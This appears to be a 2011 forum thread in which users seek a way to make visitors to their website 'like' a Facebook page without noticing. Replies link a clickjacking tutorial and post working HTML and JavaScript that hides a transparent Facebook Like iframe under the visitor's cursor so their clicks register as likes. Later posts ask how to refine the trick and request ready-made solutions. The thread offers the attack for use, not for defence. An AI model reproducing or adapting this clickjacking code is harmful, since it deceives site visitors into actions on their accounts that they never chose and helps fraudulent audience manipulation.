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Is there any FB autolike script when someone visits my Site?

Discussion in 'FaceBook' started by cybermeid, Mar 1, 2011.

  1. cybermeid

    cybermeid Regular Member

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    I am just wondering if there are any FB auto like script whenever someone visits my site.
    Ie when someone visits my .com domain name if they are logged onto FB they will be automatically redirected to my Fan page with or without asking for the permission from the users so that they will be automatically liking my FB page.
    So if someone is already logged onto FB,they will be auto liking the page without they never noticing it.
     
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  3. cybermeid

    cybermeid Regular Member

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    So is it possible to make the visitors to my
    .com site and not
    FB fan page automatically get redirected to autolike and if they are logged off,asks them to login to share it with others forcefully using a popup only then they should be able to access my Sites Content.
     
  4. Website

    Website Supreme Member

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    The person has to make a click, obviously
     
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    ericsson Elite Member Premium Member

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    Autoclicking in an iframe? .. :-D
     
  6. carlito

    carlito BANNED BANNED

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    here ya go

    http://cloudflood.com/
     
  7. blackhattrial

    blackhattrial Regular Member

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    Even I need such script like visitors visit my site and on fb ( if they are logged in) like button automatically clicks
     
  8. cc1981

    cc1981 Junior Member

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    Keep in mind the confirm button. Only "real" page likes are still working, but without post to wall. Website likes mostly only work with confirm...
     
  9. moneyrocks

    moneyrocks Supreme Member

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    i dont think this kind of script will keep on working on a long period of time i mean fb is after our life these days
     
  10. ryanhackmachine

    ryanhackmachine Regular Member

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    i dont know if this still work but i tried this few days ago and it work perfectly your visitor will like your page and post to wall if they click any link on your website. it will take 2 clicks before they actually visit the link they clicked

    Code:
    http://fernandomagro.com/programming/facebook-clickjacking-howto/
    try that

    EDIT: Still working i tried it today
     
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  11. cc1981

    cc1981 Junior Member

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    This kind of clickjacking was working well BEFORE the confirm thing. It's very hard now and depends ond your URL etc.!
     
  12. mrxinbollywood

    mrxinbollywood Elite Member

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    Try this code. This is working good.

    Code:
    <div style="overflow: hidden;border:2px;height:80px;width:80px;position:absolute;filter:alpha(opacity=0); -moz-opacity:0.0; -khtmk-opacity:0.0;opacity:0.0" id=icontainer>
    			<iframe src="http://www.facebook.com/plugins/like.php?href=YOURFAN PAGE URL&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hiden; width:50px;height:23px;" allowTransparency="true" id="likee" name="likee"></iframe>
    </div>
    	
    		<script language=javascript>
    			
    			var iflag=1;
    			var like = document.getElementById('icontainer');
    			var	IE = document.all ? true : false;
      
     			if (!IE) document.captureEvents(Event.MOUSEMOVE);
    			
    			window.addEventListener('mousemove', mouseMove, false);
      
     
      
      function mouseMove(e) {
      	if (iflag==1){
        if (IE) {
          tempX = event.clientX + document.body.scrollLeft;
          tempY = event.clientY + document.body.scrollTop;
        } else {
          tempX = e.pageX;
          tempY = e.pageY;
        }
        
        if (tempX < 0) tempX = 0;
        if (tempY < 0) tempY = 0;
        
        like.style.top = (tempY - 8) + 'px';
        like.style.left = (tempX - 25) + 'px';
        
        //iflag=0;
       
      }
        return true
      }
    	
    	function simulateMouseDown(theelement){
       var eventName = 'mousedown';
       if(theelement.dispatchEvent){
          var event = document.createEvent("MouseClick");
          event.initMouseEvent(eventName, true, true, window);
         // alert(theelement.dispatchEvent(event));
       }else if(theelement.fireEvent){ // IE7 and below
          theelement.fireEvent('on'+eventName);
       }
    };
     
    	
    		</script>
     
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  13. cc1981

    cc1981 Junior Member

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    It really doesn't matter HOW you embed the iframe, so there i no good or bad code. The only thing FB is after is WHAT you like in your iframe...
     
  14. jason-l

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    How do you remove the mouse follower after they click? as is, if they click a second time, the button is still under neath, and it unlikes.

    I've tried catching click events, but it doesn't want to work when dealing with an iframe.
     
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    Can anyone here give me a working solution to get Fans with clickjaking :)
     
  16. basel51

    basel51 Newbie

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    thank you for information

    I want to do it for my page

    it is arabic web site